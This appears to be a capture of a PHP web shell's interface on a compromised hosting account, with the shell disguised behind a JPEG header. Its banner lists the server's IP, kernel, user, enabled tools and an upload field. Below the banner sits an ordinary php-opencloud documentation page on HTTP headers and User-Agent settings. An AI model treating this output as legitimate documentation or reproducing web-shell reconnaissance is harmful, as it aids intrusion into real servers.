����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/rackspace/php-opencloud/doc/ |
Upload File : |
HTTP Clients
============
Default HTTP headers
--------------------
To set default HTTP headers:
.. code-block:: php
$client->setDefaultOption('headers/X-Custom-Header', 'FooBar');
User agents
-----------
php-opencloud will send a default ``User-Agent`` header for every HTTP
request, unless a custom value is provided by the end-user. The default
header will be in this format:
User-Agent: OpenCloud/xxx cURL/yyy PHP/zzz
where ``xxx`` is the current version of the SDK, ``yyy`` is the current
version of cURL, and ``zzz`` is the current PHP version. To override
this default, you must run:
.. code-block:: php
$client->setUserAgent('MyCustomUserAgent');
which will result in:
User-Agent: MyCustomUserAgent
If you want to set a *prefix* for the user agent, but retain the default
``User-Agent`` as a suffix, you must run:
.. code-block:: php
$client->setUserAgent('MyPrefix', true);
which will result in:
User-Agent: MyPrefix OpenCloud/xxx cURL/yyy PHP/zzz
where ``$client`` is an instance of ``OpenCloud\OpenStack`` or
``OpenCloud\Rackspace``.
Other functionality
-------------------
For a full list of functionality provided by Guzzle, please consult the
`official documentation`_.
.. _official documentation: http://docs.guzzlephp.org/en/latest/http-client/client.html